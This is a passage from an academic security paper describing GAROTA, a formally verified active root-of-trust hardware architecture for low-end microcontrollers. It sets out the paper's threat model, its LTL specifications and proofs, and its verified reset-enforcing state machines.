a large number (of several types of) simple IoT devices, e.g.,
an industrial control system. Upon detecting a large-scale
compromise, a trusted remote controller wants to fix the situ-
ation by requiring all compromised devices to reset or erase
themselves in order to expunge malware. Even if each device
has an uncompromised, yet passive, RoT, malware (which
is in full control of the device’s software state) can easily
intercept, ignore, or discard any requests for the RoT, thus
preventing its functionality from being triggered. Therefore,
the only way to repair these compromised devices requires di-
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rect physical access (i.e, reprogramming by a human) to each
device. Beyond the DoS damage caused by the multitude of
essentially “bricked” devices, physical reprogramming itself
is slow and disruptive, i.e., a logistical nightmare.

Motivated by the above, some recent research [30, 53]
yielded trust anchors with a more active behavior. Specifi-
cally, Xu et al. [53] propose the concept of Authenticated
Watch-Dog Timers (WDT), which enforce periodic execution
of a secure component (an RoT task), unless explicit autho-
rization (which can itself include a set of tasks) is received
from a trusted controller. In [30] this concept is realized with
the reliance on ARM TrustZone, as opposed to a dedicated
co-processor as in the original approach from [53]. Targeting
lower-end devices, [38] considered the problem of guarantee-
ing periodic execution of a task. It refers to this important goal
as “trusted scheduling”, in the context of real-time operating
systems. All these techniques [30, 38, 53] are time-based –
they periodically and actively trigger RoT invocation, despite
potential compromise of the host device. We discuss them in
more detail in Section 5.4.

In this paper, we take the natural next step and design a
more general active RoT, called GAROTA: Generalized Active
Root-Of-Trust Architecture. Our goal is an architecture capa-
ble of triggering guaranteed execution of trusted and safety-
critical tasks based on arbitrary events captured by hardware
peripherals (including timers, GPIO ports, and network in-
terfaces) of an MCU the software state of which may be
currently compromised. In principle, any hardware event that
causes an interrupt on the unmodified MCU can trigger guar-
anteed execution of trusted software in GAROTA (assuming
proper configuration). In that vein, our work can be viewed
as a generalization of concepts proposed in [30, 38, 53], en-
abling arbitrary events (interrupt signals, as opposed to the
timer-based approach from prior work) to trigger guaranteed
execution of trusted functionalities. In comparison, prior work
has the advantage of relying on pre-existent hardware, thus not
requiring any hardware changes. On the other hand, our clean-
slate approach, based on a minimal hardware design, enables
new applications and is applicable to lower-end resource-
constrained MCU-s.

At a high level, GAROTA is based on two key concepts:
“Guaranteed Triggering” and “Re-Triggering on Failure”.
The term trigger is used to refer to an event that causes
GAROTA RoT to take over the execution in the MCU. The
“guaranteed triggering” property ensures that a particular
event of interest always triggers execution of GAROTA RoT.
Whereas,“re-triggering on failure” assures that, if RoT execu-
tion is illegally interrupted for any reason (e.g., attempts to
violate execution’s integrity, power faults, or resets), the MCU
resets and the RoT is guaranteed to be the first to execute after
subsequent re-initialization. Figure 1 illustrates this workflow.

We use GAROTA to address three realistic and compelling
use-cases for the active RoT:

• GPIO-TCB: A safety-critical sensor/actuator hybrid,

Figure 1: GAROTA Software Execution Flow

which is guaranteed to sound an alarm if the sensed
quantity (e.g., temperature, CO2 level, etc) exceeds a cer-
tain threshold. This use-case exemplifies hardware-based
triggering.

• TimerTCB: A real-time system where a predefined
safety-critical task is guaranteed to execute periodically.
This use-case exemplifies timer-based triggering, which
is also attainable by [30, 38, 53].

• NetTCB: a trusted component that is always guaran-
teed to process commands received over the network,
thus preventing malware in the MCU from intercepting
and/or discarding commands destined for the RoT. This
use-case exemplifies network-based triggering.

In all three cases, the guarantees hold even in case of full
compromise of the MCU software state, as long as the RoT
task itself is trusted.

In addition to designing and instantiating GAROTA with
three use-cases, we formally specify GAROTA goals and re-
quirements using Linear Temporal Logic (LTL). These formal
specifications offer precise definitions for the security offered
by GAROTA and its corresponding assumptions expected from
the underlying MCU, i.e., its machine model. This can serve
as an unambiguous reference for future implementations and
for other derived services. Finally, we use formal verification
to prove that the implementation of GAROTA hardware mod-
ules adheres to a set of sub-properties (also specified in LTL)
that – when composed with the MCU machine model – are
sufficient to achieve GAROTA end-to-end goals. In doing so,
we follow a similar verification approach that has been suc-
cessfully applied in the context of passive RoT-s [15, 17, 18].

We implement and evaluate GAROTA and make its verified
implementation (atop the popular low-end MCU TI MSP430)
along with respective computer proofs/formal verification
publicly available in [2].

2 Scope
This work focuses on low-end embedded MCU-s and aims
for a design with minimal hardware requirements. A minimal
design simplifies reasoning about GAROTA and formally veri-
fying its security properties. In terms of practicality and appli-
cability, we believe that an architecture that is cost-effective
enough for the lowest-end MCU-s can also be adapted (and
potentially enriched) for implementations on higher-end de-
vices with higher hardware budgets, while the other direction
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Figure 2: GAROTA in the MCU architecture

is usually more challenging. Thus, our design is applicable to
the smallest and weakest devices based on low-power single-
core platform with only a few KBytes of program and data
memory (such as the aforementioned Atmel AVR ATmega
and TI MSP430), with 8- and 16-bit CPUs, typically run-
ning at 1-16 MHz clock frequencies, with ≈ 64 KBytes of
addressable memory. SRAM is used as data memory ranging
in size between 4 and 16 KBytes, while the rest of address
space is available for program memory. Such devices usually
run software atop “bare metal”, execute instructions in place
(physically from program memory), and have no memory
management unit (MMU) to support virtual memory.

Our initial choice of implementing GAROTA atop the well-
known TI MSP430 low-energy MCU is motivated by avail-
ability of an open-source version of the MSP430 hardware
from OpenCores [28]. Nevertheless, GAROTA design and ma-
chine model are generic and should be applicable to other
low-end MCU-s of the same class.

3 GAROTA Overview
The goal of GAROTA is to guarantee eventual execution of a
pre-defined functionality F implemented as a trusted software
executable. We refer to this executable as GAROTA trusted
computing base (TCB). GAROTA is agnostic to the particular
functionality implemented by F , which allows guaranteed
execution of arbitrary tasks, to be determined based on the
application domain; see Section 5 for examples.

A trigger refers to a particular event that can be configured
to cause the TCB to execute. Examples of possible triggers
include hardware events from:

• External (usually analog) inputs, e.g., detection of a button
press, motion, sound or certain temperature/CO2 threshold.

• Expiring timers, i.e., a periodic trigger.
• Arrival of a packet from the network, e.g., carrying a request

to collect sensed data, perform sensing/actuation, or initiate a
security task, such as erasing or resetting the device.

If configured correctly, these events cause interrupts, which
are used by GAROTA to guarantee execution of F . Since

trigger and TCB implementation are configurable, we assume
that these initial configurations are done securely, at or be-
fore initial deployment. trigger configuration will include the
types of interrupts and respective settings e.g., which GPIO
port, what type of event, its time granularity, etc. At runtime,
GAROTA protects the initial configuration from illegal modifi-
cations, i.e., ensures correct trigger behavior. This protection
includes preserving interrupt configuration registers, interrupt
handlers, and interrupt vectors. This way GAROTA guarantees
that trigger always results in an invocation of the TCB.

However, guaranteed invocation of the TCB upon occur-
rence of a trigger is not sufficient to claim that F is prop-
erly performed, since the TCB code (and execution thereof)
could itself be tampered with. To this end, GAROTA provides
runtime protections that prevent any unprivileged/untrusted
program from modifying the TCB code, i.e., the program
memory region reserved for storing that code. (Recall that in-
structions execute in place, from program memory). GAROTA
also monitors the execution of the TCB code to ensure:

1. Atomicity: Execution is atomic (i.e., uninterrupted),
from the TCB’s first instruction (legal entry), to its last
instruction (legal exit);

2. Non-malleability: During execution, DMEM cannot be
modified, other than by the TCB code itself, e.g., no
modifications by other software or DMA controllers.

These two properties ensure that any potential malware resid-
ing on the MCU (i.e., compromised software outside TCB
or compromised DMA controllers) cannot tamper with TCB
execution.

GAROTA monitors execution and, whenever it detects a vi-
olation of any property (including atomicity, non-malleability,
as well as any TCB code tampering or trigger misconfigura-
tion) triggers an immediate MCU reset to a default trusted
state wherein TCB code is the very first component to execute.
Therefore, any attempt to interfere with the TCB functionality
or execution causes the TCB to recover and re-execute, while
guaranteeing that unprivileged/untrusted applications cannot
interfere.

Both trigger configurations and the TCB implementation
are updatable at run-time, as long as the updates are performed
from within the TCB itself. While this feature is not strictly
required for security, we believe it provides flexibility/updata-
bility, while ensuring that untrusted software cannot mod-
ify GAROTA trusted components and configuration thereof.
Section 4.7 discusses how GAROTA can enforce TCB confi-
dentiality, which is applicable to cases where F implements
cryptographic or privacy-sensitive tasks.

Each sub-property in GAROTA is implemented, and in-
dividually optimized, as a separate GAROTA sub-module.
These sub-modules are then composed and shown secure
(in the context of the MCU machine model) using a combina-
tion of model-checking-based formal verification and an LTL
computer-checked proof. GAROTA modular design enables
verifiability and minimality, resulting in low hardware over-

USENIX Association 31st USENIX Security Symposium    2245



head and significantly higher understanding and confidence
about the security provided by its design and implementation.

As shown in Figure 2, GAROTA is implemented as a hard-
ware component that monitors a set of CPU signals to detect
violations to required security properties. As such it does not
interfere with the CPU core implementation, e.g., by modi-
fying its behavior or instruction set. In subsequent sections
we describe these properties in more detail and discuss their
implementation and verification. Finally, we use a commod-
ity FPGA to synthesize GAROTA atop the low-end MCU
MSP430 and report on its overhead.

4 GAROTA in Detail
We now get into the details of GAROTA. Section 4.1 provides
some background on LTL and formal verification. Given some
familiarity with these notions, it can be skipped without any
loss of continuity.

4.1 LTL & Verification Approach
Formal Verification refers to the computer-aided process of
proving that a system (e.g., hardware, software, or protocol)
adheres to its well-specified goals. Thus, it assures that the sys-
tem does not exhibit any unintended behavior, especially, in
corner cases (rarely encountered conditions and/or execution
paths) that humans tend to overlook.

To verify GAROTA, we use a combination of Model Check-
ing and Theorem Proving, summarized next. In Model Check-
ing, designs are specified in a formal computation model (e.g.,
as Finite State Machines or FSMs) and verified to adhere to
formal logic specifications. The proof is performed through
automated and exhaustive enumeration of all possible system
states. If the desired specification is found not to hold for spe-
cific states (or transitions among them), a trace of the model
that leads to the erroneous state is provided, and the imple-
mentation can then be fixed accordingly. As a consequence
of exhaustive enumeration, proofs for complex systems that
involve complex properties often do not scale well due to
so-called “state explosion”.

To cope with that problem, our verification approach (also
used in prior work [15, 17]) is to specify each sub-property
in GAROTA using Linear Temporal Logic (LTL) and verify
each respective sub-module for compliance. In this process,
the verification pipeline automatically converts digital hard-
ware, described at Register Transfer Level (RTL) using Ver-
ilog, to Symbolic Model Verifier (SMV) [41] FSMs using
Verilog2SMV [32]. The SMV representation is then fed to
the well-known NuSMV [13] model-checker for verification
against the specified LTL sub-properties. This automatic con-
version ensures that no mistakes are introduced by otherwise
manual translation from verification/proof models to actual
hardware RTL. It thus represents another advantage of this
verification pipeline over manual/paper proofs. Finally, the

Figure 3: GAROTA verification strategy

composition of the LTL sub-properties (verified in the model-
checking phase) is proven to achieve GAROTA end-to-end
goals using an LTL theorem prover [21]. This verification
strategy is depicted in Figure 3.

Regular propositional logic includes propositional connec-
tives, such as: conjunction ∧, disjunction ∨, negation ¬, and
implication→. LTL augments it with temporal quantifiers,
thus enabling sequential reasoning. In this paper, we are inter-
ested in the following temporal quantifiers:

• Xφ – neXt φ: holds if φ is true at the next system state.
• Fφ – Future φ: holds if there exists a future state where

φ is true.
• Gφ – Globally φ: holds if for all future states φ is true.
• φ U ψ – φ Until ψ: holds if there is a future state where

ψ holds and φ holds for all states prior to that.
• φ W ψ – φ Weak until ψ: holds if, assuming a future

state where ψ holds, φ holds for all states prior to that.
If ψ never becomes true, φ must hold forever. Or, more
formally: φWψ≡ (φUψ)∨G(φ)

Note that, since GAROTA TCB is programmable and its code
depends on the exact functionality F for each application do-
main, verification and correctness of any specific TCB code
is not within our goals. We assume that the user is responsible
for assuring correctness of the trusted code to be loaded atop
GAROTA active RoT. This assumption is consistent with other
programmable (though passive) RoTs, including those target-
ing higher-end devices, such as Intel SGX [31], and ARM
TrustZone [8]. In many cases, we expect the TCB code to be
minimal (see examples in Section 5), and thus less likely to
have bugs.

As stated earlier, the verification strategy overviewed in this
section was successfully used in prior work [15, 17] to verify
passive RoTs (see Section 8). Nonetheless, that prior work
did not consider availability properties, needed by an active
RoT. Consequently, it did not require formal specification of
properties that model guaranteed future actions upon specific
trigger-s (see Definition 2). It also did not require cyclic spec-
ifications, such as re-triggering on failure (see Definition 3)
to model the feature that a failed/tampered TCB execution is
guaranteed to re-start.
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PC Current Program Counter value
Ren Signal that indicates if the MCU is

reading from memory (1-bit)
Wen Signal that indicates if the MCU is

writing to memory (1-bit)
Daddr Address for an MCU memory access (read or

write)
DMAen Signal that indicates if DMA is currently

enabled (1-bit)
DMAaddr Memory address being accessed by DMA, if

any
gie Global Interrupt Enable: signal that

indicates whether or not interrupts are
globally enabled (1-bit).

irq Signal that indicates if an interrupt is
happening

DMEM Region corresponding to the entire
data memory of the MCU: DMEM =
[DMEMmin,DMEMmax].

PMEM Region corresponding to the entire program
memory of the MCU: PMEM = [PMEMmin,PMEMmax].

TCB Memory region reserved for the TCB’s
executable implementing F . TCB =
[TCBmin,TCBmax]. TCB ∈ PMEM.

INIT Memory region containing the MCU’s default
initialization code. INIT = [INITmin, INITmax].
INIT ∈ PMEM.

reset A 1-bit signal that reboots/resets the MCU
when set to logical 1

Table 1: Notation Summary

In the same vein, prior work did not reason or axiomatize
the same types of MCU behavior as GAROTA. In particular,
most of the machine model in this paper (see Definition 1) is
unique to GAROTA, except for LTL 1, that models CPU writes
to memory, also modeled by prior work. Specifically, prior
machine models did not axiomatize hardware behavior when:
(1) a trigger/interrupt configuration is modified (LTL 2 from
Definition 1); an interrupt is disabled by software (LTL 3
from Definition 1); or the effects of unmodifiable trigger
initialization to the MCU runtime behavior (LTLs 4 and 5
from Definition 1).

Aforementioned definitions are unique requirements (in
the machine model of Definition 1) and guarantees (in the
goals of Definitions 2 and 3) of GAROTA that are proven to
hold from composition of GAROTA sub-properties in Defi-
nition 4. Sub-properties are in turn offered by the formally
verified implementation of GAROTA hardware. In the rest
of this section, we detail the reasoning behind these axioms,
property specifications, and their verifiable implementation
and composition.

4.2 Notation, Machine Model, & Assumptions

This section discusses our machine and adversarial models.
We start by overviewing them informally in Sections 4.2.1,
4.2.2 and 4.2.3). Then, Section 4.2.5, formalizes the machine
model using LTL. For quick-reference, Table 1 summarizes
the notation used in the rest of the paper.

4.2.1 CPU Hardware Signals

GAROTA neither modifies nor verifies the underlying CPU
core/instruction set. It is assumed that the underlying CPU
adheres to its specification and GAROTA is implemented as
a standalone hardware module that runs in parallel with the
CPU, and enforcing necessary guarantees in hardware. The
following CPU signals are relevant to GAROTA:
H1 – Program Counter (PC): PC always contains the ad-
dress of the instruction being executed in the current CPU
cycle.
H2 – Memory Address: Whenever memory is read or writ-
ten by the CPU, the data-address signal (Daddr) contains the
address of the corresponding memory location. For a read
access, a data read-enable bit (Ren) must be set, while, for a
write access, a data write-enable bit (Wen) must be set.
H3 – DMA: Whenever a DMA controller attempts to access
the main system memory, a DMA-address signal (DMAaddr)
reflects the address of the memory location being accessed
and a DMA-enable bit (DMAen) must be set. DMA can not
access memory when DMAen is off (logical zero).
H4 – MCU Reset: At the end of a successful reset routine,
all registers (including PC) are set to zero before restarting
normal software execution flow. Resets are handled by the
MCU in hardware. Thus, the reset handling routine can not
be modified. Once execution re-starts, PC is set to point to
the first instruction in the boot section of program memory,
referred to as INIT (see M2 below). When a reset happens,
the corresponding reset signal is set. The same signal is also
set when the MCU initializes for the first time. An MCU reset
also resets its DMA controller, and any prior configuration
thereof. (DMA) behavior is configured by software at runtime.
By default (i.e., after a reset) DMA is inactive.
H5 – Interrupts: Whenever an interrupt occurs, the corre-
sponding irq signal is set. Interrupts may be globally enabled
or disabled in software. The 1-bit signal gie always reflects
whether or not they are currently enabled. The default gie
state (i.e., at boot or after a reset) is disabled (logical zero).

4.2.2 Memory: Layout & Initial Configuration

As far as MCU initial memory layout and its initial software
configuration (set at, or prior to, its deployment), the following
are relevant to GAROTA:
M1 – PMEM: Corresponds to the entire PMEM address
space. Instructions are executed in place. Hence, at runtime,
PC points to the PMEM address storing the instruction being
executed.
M2 – INIT: Section of PMEM containing the MCU boot
segment, i.e., the first software to be executed whenever the
MCU boots or after a reset. We assume INIT code is finite.
M3 – TCB: Section of PMEM reserved for GAROTA trusted
code, i.e., F . TCB is located immediately after INIT ; it is the
first software to execute following successful completion of
INIT .
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M4 – IRQ-Table and Handlers: IRQ-Table is located in
PMEM and contains pointers to the addresses of so-called
interrupt handlers (aka interrupt service routines or ISRs).
When an interrupt occurs, the MCU hardware causes a jump to
the corresponding handler routine. The address of this routine
is specified by the IRQ-Table fixed index corresponding to
that particular interrupt. Handler routines are code segments
(functions) also stored in PMEM.
M5 – IRQc f g: Set of registers in DMEM used to configure
specific behavior of individual interrupts at runtime, e.g., dead-
line of a timer-based interrupt, or type of event on a hardware-
based interrupt.

Note that any initial memory configuration could be
changed at run-time (e.g., by malware that infects the device,
as discussed in Section 4.2.4), unless it is explicitly protected
by GAROTA verified hardware modules.

4.2.3 Initial Trigger Configuration

T1 – trigger: GAROTA trigger is configured, at MCU
(pre)deployment-time, by setting the corresponding entry in
IRQ-Table and respective handler to jump to the first instruc-
tion in TCB (TCBmin) and by configuring the registers in
IRQc f g with desired interrupt parameters, reflecting the de-
sired trigger behavior; see Section 5 for examples. Thus, a
trigger event causes the TCB code to execute, as long as the
initial configuration is maintained.

The initial trigger configuration is not much different from
a regular interrupt configuration in a typical embedded system
program. The trigger index in IRQ-Table must correctly point
to GAROTA TCB legal entry point, just as regular interrupts
must correctly point to their respective handler entry points.
For example, to initially configure a timer-based trigger, the
address in IRQ-Table corresponding to the respective hard-
ware timer is set to point to TCBmin and the correspondent
registers in IRQc f g are set to define the timer deadline and
thus the desired interrupt period.

4.2.4 Adversarial Model

We consider an adversary Adv that controls MCU’s en-
tire software state, including code, and data. Adv can read-
/write from/to any memory that is not explicitly protected by
hardware-enforced access control rules. Adv might also have
full control over the Direct Memory Access (DMA) controller
in the MCU. Recall that DMA allows a hardware controller
to directly access main memory (PMEM or DMEM) without
going through the CPU.

Physical Attacks: physical and hardware-focused attacks
are out of the scope of GAROTA. Specifically, we assume
that Adv can not modify hardware, induce hardware faults, or
interfere with GAROTA via physical presence attacks and/or
side-channels. Protection against such attacks is an orthog-
onal issue that we defer to future work. For an overview of

potential countermeasures using physical security and tamper
resistance techniques see [44, 46].

Network DoS Attacks: we also consider out-of-scope net-
work DoS attacks, whereby Adv drops traffic to/from MCU,
or floods MCU with traffic, or simply jams communication.
Note that this assumption is relevant only to network-triggered
events, exemplified by the NetTCB instantiation of GAROTA,
described in Section 5.3.

Note that network DoS attacks could be detected by orthog-
onal techniques, such as network traffic monitoring [37, 54,
56, 57]. Once detected, out-of-band measures can be taken to
mitigate such attacks. GAROTA is particularly concerned with
malware that infects the MCU and ignores commands/trig-
ger events, even when commands arrive and triggers occur.
Hence, network DoS monitoring is a complementary mea-
sure to ensure delivery of packets to the MCU (in GAROTA
NetTCB use-case), while GAROTA can ensure that received
commands are indeed processed.

Correctness of TCB’s Executable: we stress that the pur-
pose of GAROTA is guaranteed execution of F , as specified
by the application developer and loaded onto GAROTA TCB
at deployment time. Similar to existing RoTs (e.g., TEE-s in
higher-end CPUs) GAROTA does not check correctness of,
and absence of implementation bugs in, F ’s implementation.
In many applications, F code is minimal; see examples in
Section 5. Moreover, correctness of F need not be assured
locally. Since embedded applications are originally developed
on more powerful devices (e.g., general-purpose computers),
various vulnerability detection methods, e.g., fuzzing [12],
static analysis [14], or formal verification, can be employed
to avoid or detect implementation bugs in F . All that can be
performed off-line before loading F onto GAROTA TCB and
the entire issue is orthogonal to GAROTA functionality.

4.2.5 Machine Model (Formally)

Based on the high-level properties discussed earlier in this
section, we now formalize the subset (relevant to GAROTA)
of the MCU machine model using LTL. Figure 4 presents our
machine model as a set of LTL statements.

LTL statement (1) models the fact that modifications to a
given memory address (X) can be done either via the CPU
or DMA. Modifications by the CPU imply setting Wen = 1
and Daddr = X . If X is a memory region, rather than a sin-
gle address, we denoted that a modification happened within
the particular region by saying that Daddr ∈ X , instead. Con-
versely, DMA modifications to region X require DMAen = 1
and DMAaddr ∈ X . This models the MCU behaviors stated
informally in H2 and H3.

In accordance with M4 and M5, a successful modification
to a pre-configured trigger implies changing interrupt tables,
interrupt handlers, or interrupt configuration registers (ICR-s).
Since, per M4, the first two are located in PMEM, modify-
ing them means writing to PMEM. The ICR is located in a
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Definition 1. Machine Model:
Memory Modifications:

G :{modMem(X)→ (Wen ∧Daddr ∈ X)∨ (DMAen ∧DMAaddr ∈ X)} (1)

Successful Trigger Modification:

G :{mod(triggerc f g)→ [(modMem(PMEM)∨modMem(IRQc f g))∧¬reset]} (2)

Successful Interrupt Disablement:

G:{disable(irq)→ [¬reset ∧gie∧¬X(gie)∧¬X(reset)]} (3)

Trigger/TCB Initialization (4 & 5):

G:{¬mod(triggerc f g)∨PC ∈ TCB}∧G:{¬disable(irq)∨X(PC) ∈ TCB}→ G:{trigger→ F(PC = TCBmin)} (4)

G:{¬modMem(PMEM)∨PC ∈ TCB}→ G:{reset→ F(PC = TCBmin)} (5)

Figure 4: MCU machine model (subset) in LTL.

DMEM location denoted IRQc f g. Therefore, the LTL state-
ment (2) models a successful misconfiguration of trigger as
requiring a memory modification either within PMEM or
within IRQc f g, without causing an immediate system-wide
reset (¬reset). This is because an immediate reset prevents
the modification attempt from taking effect (see H4).

LTL (3) models that attempts to disable interrupts are re-
flected by gie CPU signal (per H5). In order to successfully
disable interrupts, Adv must be able to switch interrupts from
enabled (gie = 1) to disabled (¬X(gie) – disabled in the fol-
lowing cycle), without causing an MCU reset.

Recall that (from H1) PC reflects the address of the instruc-
tion currently executing. PC ∈ TCB implies that GAROTA
TCB is currently executing. LTL (4) models T1. As long
as the initial proper configuration of trigger is never modi-
fiable by untrusted software (G:{¬mod(triggerc f g)∨PC ∈
TCB}) and that untrusted software can never globally disable
interrupts (G:{¬disable(irq) ∨ X(PC) ∈ TCB}), a trigger
would always cause TCB execution (G:{trigger→ F(PC =
TCBmin)}). Recall that we assume that the TCB may update
– though not misconfigure – trigger behavior, since the TCB
is trusted. Similarly, LTL 5 states that, as long as PMEM
is never modified by untrusted software, a reset will always
trigger TCB execution (per H4, M2, and M3).

4.3 GAROTA End-To-End Goals Formally
Using the notation from Section 4.2, we proceed with the for-
mal specification of GAROTA end-goals in LTL. Definition 2
specifies the “guaranteed trigger” property. It states in LTL
that, whenever a trigger occurs, a TCB execution/invocation
(starting at the legal entry point) will follow.

While Definition 2 guarantees that a particular interrupt of
interest (trigger) will cause the TCB execution, it does not
guarantee proper execution of the TCB code as a whole. The
“re-trigger on failure” property (per Definition 3) stipulates
that, whenever TCB starts execution (i.e., PC ∈ TCB), it must

execute without interrupts or DMA interference 1, i.e., ¬irq∧
¬dmaen∧PC ∈ TCB. This condition must hold until:

1. PC = TCBmax: the legal exit of TCB is reached, i.e.,
execution concluded successfully.

OR

2. F(PC = TCBmin): another TCB execution (from scratch)
has been triggered to occur.

In other words, this specification reflects a cyclic requirement:
either the security properties of the TCB proper execution are
not violated, or TCB execution will re-start later.

Note that we use the quantifier Weak Until (W) instead
regular Until (U), because, for some embedded applications,
the TCB code may execute indefinitely; see Section 5.1 for
an example.

4.4 GAROTA Sub-Properties
Based on our machine model and GAROTA end goals, we now
postulate a set of necessary sub-properties to be implemented
by GAROTA. Next, Section 4.5 shows that this minimal set of
sub-properties suffices to achieve GAROTA end-to-end goals
with a computer-checked proof. LTL specifications of the
sub-properties are presented in Figure 6.

GAROTA enforces that only trusted updates to PMEM are
allowed at runtime. GAROTA hardware issues a system-wide
MCU reset upon detecting any attempt to modify PMEM
at runtime, unless this modification comes from the execu-
tion of the TCB code itself. This property is formalized in
LTL (6). It prevents any untrusted application software from
misconfiguring IRQ-Table and interrupt handlers, as well as
from modifying the INIT segment and the TCB code itself,
because these sections are located within PMEM. As a side
benefit, it also prevents attacks that attempt to physically wear

1Since DMA could tamper with intermediate state/results in DMEM.
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Definition 2. Guaranteed Trigger:

G:{trigger→ F(PC = TCBmin)}

Definition 3. Re-Trigger on Failure:

G:{PC ∈ TCB→ [ (¬irq∧¬dmaen ∧PC ∈ TCB) W (PC = TCBmax ∨F(PC = TCBmin) ]}

Figure 5: Formal Specification of GAROTA end-to-end goals.

Definition 4. LTL Sub-Properties implemented & enforced by GAROTA.
Trusted PMEM Updates:

G : {[¬(PC ∈ TCB)∧Wen ∧ (Daddr ∈ PMEM)]∨ [DMAen ∧ (DMAaddr ∈ PMEM)]→ reset} (6)

IRQ Configuration Protection:

G : {[¬(PC ∈ TCB)∧Wen ∧ (Daddr ∈ IRQc f g)]∨ [DMAen ∧ (DMAaddr ∈ IRQc f g)]→ reset} (7)

Interrupt Disablement Protection:

G : {¬reset ∧gie∧¬X(gie)→ (X(PC) ∈ TCB)∨X(reset)} (8)

TCB Execution Protection:

G : {¬reset ∧ (PC ∈ TCB)∧¬(X(PC) ∈ TCB)→ PC = TCBmax ∨ X(reset) } (9)

G : {¬reset ∧¬(PC ∈ TCB)∧ (X(PC) ∈ TCB)→ X(PC) = TCBmin ∨ X(reset)} (10)

G : {(PC ∈ TCB)∧ (irq∨dmaen)→ reset} (11)

Figure 6: Formal specification of sub-properties verifiably implemented by GAROTA hardware module.

off Flash (often used to implement PMEM in low-end de-
vices) by excessively and repeatedly overwriting it at run-
time [7]. Similarly, GAROTA prevents untrusted components
from modifying IRQc f g – DMEM registers controlling the
trigger configuration. This is specified by LTL 7.

Remark: local updates, via direct physical connection (e.g.,
J-TAG or USB) to the MCU are still possible and unaffected
by GAROTA, because GAROTA hardware protection is only
active at runtime. If remote updates at runtime are desirable,
they must be supported as part of GAROTA TCB. See Section 7
for a discussion on supporting remote updates.

LTL 8 enforces that interrupts can not be globally disabled
by untrusted applications. Since, each trigger is based on in-
terrupts, disablement of all interrupts would allow untrusted
software to disable the trigger itself, and thus the active be-
havior of GAROTA. This requirement is specified by checking
the relation between current and next values of gie, using the
LTL neXt operator. In order to switch gie from logical 0 (cur-
rent cycle) to 1 (next cycle), TCB must be executing when
gie becomes 0 (X(PC) ∈ TCB)), or the MCU will reset.

To assure that TCB code is invoked and executed prop-
erly, GAROTA hardware implements LTL-s (9), (10), and (11).
LTL 9 enforces that the only way for TCB’s execution to ter-
minate, without causing a reset, is through its last instruction
(its only legal exit): PC = TCBmax. This is specified by check-
ing the relation between current and next PC values using LTL

neXt operator. If the current PC value is within TCB, and next
PC value is outside TCB, then either current PC value must
be the address of TCBmax, or reset is set to 1 in the next cy-
cle. Similarly, LTL 10 enforces that the only way for PC to
enter TCB is through the very first instruction: TCBmin. This
prevents TCB execution from starting at some point in the
middle of TCB, thus making sure that TCB always executes
in its entirety. Finally, LTL 11 enforces that reset is always
set if interrupts or DMA modifications happen during TCB’s
execution. Even though LTLs 9 and 10 already enforce that
PC can not change to anywhere outside TCB, interrupts could
be programmed to return to an arbitrary instruction within the
TCB. Or, DMA could change DMEM values currently in use
by TCB. Both of these events can alter TCB behavior and are
treated as violations.

Next, Section 4.5 presents a computer-checked proof of
sufficiency of this set of sub-properties to imply GAROTA
end-to-end goals. Then, Section 4.6 presents FSM-s from our
Verilog implementation, that are formally verified to correctly
implement each requirement.

4.5 GAROTA Composition Proof

GAROTA end-to-end sufficiency is stated in Theorems 1 and 2.
The complete computer-checked proofs (using Spot2.0 [21])
of Theorems 1 and 2 are publicly available at [2]. Below we
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Theorem 1. Definition 1∧LTLs 6,7,8→ Definition 2.

Theorem 2. Definition 1∧LTLs 6,9,10,11→ Definition 3.

present the intuition behind them.

Proof of Theorem 1 (Intuition). From machine model
LTL (4), as long as the (1) initial trigger configuration is
never modified from outside the TCB; and (2) interrupts
are never disabled from outside the TCB; it follows that a
trigger will cause a proper invocation of the TCB code. Also,
successful modifications to the trigger’s configuration imply
writing to PMEM or IRQc f g without causing a reset (per
LTL (2)). Since GAROTA verified implementation guarantees
that memory modifications (specified in LTL (1)) to PMEM
(LTL (6)) or IRQc f g (LTL (7)) always cause a reset, illegal
modifications to triggerc f g are never successful. Finally,
LTL (8) assures that any illegal interrupt disablement always
causes a reset, and is thus never successful). Therefore,
GAROTA satisfies all necessary conditions to guarantee the
goal in Definition 2.

Proof of Theorem 2 (Intuition). The fact that a reset always
causes a later call to the TCB follows from the machine
model’s LTL (5) and GAROTA guarantee in LTL (6). LTLs (9)
and (9) ensure that the TCB executable is properly invoked
and executes atomically, until its legal exit. Otherwise a reset
flag is set, which (from the above argument) implies a new
call to TCB. Finally, LTL 11 assures that any interrupt or
DMA activity during TCB execution will cause a reset, thus
triggering a future TCB call and satisfying Definition 3.

See [2] for the formal computer-checked proofs.

4.6 Sub-Module Implementation+Verification
Following the sufficiency proof in Section 4.5 for sub-
properties in Definition 4, we proceed with the implemen-
tation and formal verification of GAROTA hardware using the
NuSMV model-checker (see Section 4.1 for details).

GAROTA modules are implemented as Mealy FSMs (where
outputs change with the current state and current inputs) in
Verilog. Each FSM has one output: a local reset. GAROTA
output reset is given by the disjunction (logic or) of local
reset-s of all sub-modules. Thus, a violation detected by any
sub-module causes GAROTA to trigger an immediate MCU
reset. For the sake of easy presentation we do not explicitly
represent the value of reset in the figures. Instead, we define
the following implicit representation:

1. reset output is 1 whenever an FSM transitions to the
RESET state (represented in red color);

2. reset output remains 1 until a transition leaving the
RESET state is triggered;

RUN RESET

otherwise otherwise

¬(PC ∈ TCB) ∧
(Wen ∧Daddr ∈ PMEM∨DMAen ∧DMAaddr ∈ PMEM)

PC = 0

Figure 7: Verified FSM for LTL 6.

RESET

OFF ON

PC = 0

otherwise

¬ gie

gie∧PC ∈ TCB

otherwise

gie

¬gie∧PC ∈ TCB

otherwise

Figure 8: Verified FSM for LTL 8.

3. reset output is 0 in all other states (represented in blue
color).

Note that all FSM-s remain in the RESET state until PC = 0,
which signals that the MCU reset routine finished.

Figure 7 illustrates GAROTA sub-module responsible for
assuring that PMEM modifications are only allowed from
within the TCB. This minimal 2-state machine works by
monitoring PC, Wen, Daddr, DMAen, and DMAaddr to detect
illegal modification attempts by switching from RUN to
RESET state, upon detection of any such action. It is ver-
ified to adhere to LTL (6). A similar FSM is used to verifiably
enforce LTL (7), with the only distinction of checking for
writes within IRQc f g region instead, i.e., Daddr ∈ IRQc f g and
DMAaddr ∈ IRQc f g. Given the similarity, we omit the illustra-
tion of this FSM.

Figure 8 presents an FSM implementing LTL 8. It monitors
the “global interrupt enable” (gie) signal to detect attempts to
illegally disable interrupts. It consists of three states: (1) ON,
representing execution periods where gie = 1; (2) OFF , for
cases where gie = 0, and (3) RESET . To switch between ON
and OFF states, this FSM requires PC ∈ TCB, thus prevent-
